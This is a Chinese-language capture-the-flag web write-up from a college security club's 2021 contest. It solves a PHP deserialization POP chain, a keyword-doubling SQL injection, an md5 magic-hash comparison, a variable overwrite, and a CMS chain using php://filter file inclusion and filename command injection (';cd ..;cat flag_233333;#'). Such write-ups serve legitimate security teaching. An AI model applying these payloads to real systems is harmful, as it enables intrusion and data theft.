pop
解题思路
想要拿到flag利用的链条必然是利用以destruct为链首的pop链通过start->second->start->fill->start利用fill中的array()调用类start中的result方法,或者说成员函数,利用start被摧毁时的add调用,second中的return字符串调用start中的toString这样把整个链条串起来,这样pop链就贯通了
array_walk — 使用用户自定义函数对数组中的每个元素做回调处理;
array_walk(array &array, callable callback, mixed $userdata = null): bool将用户自定义函数 funcname 应用到 array 数组中的每个单元。>array_walk() 不会受到 array 内部数组指针的影响。array_walk() 会遍历整个数组而不管指针的位置。参数:array输入的数组。callback典型情况下 callback 接受两个参数。array 参数的值作为第一个,键名作为第二个。
<?php
class start {
public $option;
}
class second {
protected $filename;
public function __construct()
{
$this->filename=new start();
$this->filename->option=new fill(array('string'=>array($t=new start(),'result')));
$t->flag=array('catcat');
}
}
class fill {
private $string;
public function __construct($string) {
$this->string = $string;
}
public function __get($name) {
$var = $this->$name;
$var[$name]();
}
}
$a = new start();
$a->option = new second();
var_dump(serialize($a));
输出结果
string(240) "O:5:"start":1:{s:6:"option";O:6:"second":1:{s:11:"*filename";O:5:"start":1:{s:6:"option";O:4:"fill":1:{s:12:"fillstring";a:1:{s:6:"string";a:2:{i:0;O:5:"start":2:{s:6:"option";N;s:4:"flag";a:1:{i:0;s:6:"catcat";}}i:1;s:6:"result";}}}}}}
最终payload
payload:
?qlnu=O:5:"start":1:{s:6:"option";O:6:"second":1:{s:11:"%00*%00filename";O:5:"start":1:{s:6:"option";O:4:"fill":1:{s:12:"%00fill%00string";a:1:{s:6:"string";a:2:{i:0;O:5:"start":2:{s:6:"option";N;s:4:"flag";a:1:{i:0;s:6:"catcat";}}i:1;s:6:"result";}}}}}}
sql
查flag名
1'%0dununionion%0dselselectect%0d(selselectect%0db%0dfrfromom%0d(seleselectct%0d1,2%0daass%0db,3%0dununionion%0dselselectect%0d*%0dfrfromom%0dusers)a%0dlimit%0d8,1),2;%00
查flag值
1'%0dununionion%0dselselectect%0d(selselectect%0dc%0dfrfromom%0d(seselectlect%0d1,2%0daass%0db,3%0daass%0dc%0dununionion%0dselselectect%0d*%0dfrfromom%0dusers)a%0dlimit%0d8,1),2;%00
最终flag
QLNU{d5j465d-65j4dg-g65hkj465-56g4kj}
md5
md5弱类型还有一种情况
$md5=$_GET['md5'];
if ($md5==md5($md5))
include __DIR__."/flag.php";
只要找到0e开头并且md5后的值依然0e开头即可的字符串,因为0e开头表示科学计数法所以不要出现除数字以外的字符
0e215962017:0e291242476940776845150308577824
没有现成的数的话也可以用脚本跑
#!/usr/bin/env python
import hashlib
import re
prefix = '0e'
def breakit():
iters = 0
while 1:
s = prefix + str(iters)
hashed_s = hashlib.md5(s).hexdigest()
iters = iters + 1
r = re.match('^0e[0-9]{30}', hashed_s)
if r:
print "[+] found! md5( {} ) ---> {}".format(s, hashed_s)
print "[+] in {} iterations".format(iters)
exit(0)
if iters % 1000000 == 0:
print "[+] current value: {} {} iterations, continue...".format(s, iters)
breakit()
#0e215962017
ezcode
要求我们在post语句中有flag,同时在第二个foreach中有把$flag
直接覆盖了,所以直接通过echo语句输出的flag是被修改过的。接着看看有什么输出点,比如有个die($_200)
,结合第一个foreach的功能,我们可以在第二个foreach之前先将$_200
的值覆盖为原flag的值
get:http://117.50.66.102:20001/?_200=flag
post:flag=
ezcms
-
register.php
存在注册页面,注册一个账户登录 -
user.php?page,page文件指针存在文件包含,利用伪协议读取源码
/user.php?page=php://filter/convert.base64-encode/resource=user
源码中并没有很多信息,但是包含了function.php
require_once("function.php");
接着用伪协议读取
/user.php?page=php://filter/convert.base64-encode/resource=function
filter_directiory过滤了
["flag","manage","ffffllllaaaaggg"];
-
使用伪协议查看过滤内容
尝试读取
/user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg
,发现被拦截了利用parse_url
解析漏洞,当url种出现下面这种情况的url,会解析错误,返回false
//user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg<?php
if (FLAG_SIG != 1){
die("you can not visit it directly");
}else {
echo "you can find sth in m4aaannngggeee";
}
?> -
继续读取m4aaannngggeee
<?php
if (FLAG_SIG != 1){
die("you can not visit it directly");
}
include "templates/upload.html";
?>访问
http://e6cd3ddc-023e-46e1-a2ee-f2b6a66d576f.node3.buuoj.cn/templates/upload.html
读取upllloadddd.php
//user.php?page=php://filter/convert.base64-encode/resource=upllloadddd.php
没有任何过滤,非常明显的文件名代码执行漏洞,接着就是找到真正的上传点在根据细节回顾的时候,找到上传点
/user.php?page=m4aaannngggeee
上传,抓包,修改文件名payload:
;ls;#
读取flag:
;cd ..;cat flag_233333;#
长
按
关
注
网络安全社团公众号
微信号 : qlnu_ctf
新浪微博:齐鲁师范学院网络安全社团
原文始发于微信公众号(齐鲁师院网络安全社团):2021.8.22校赛WP-WEB
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论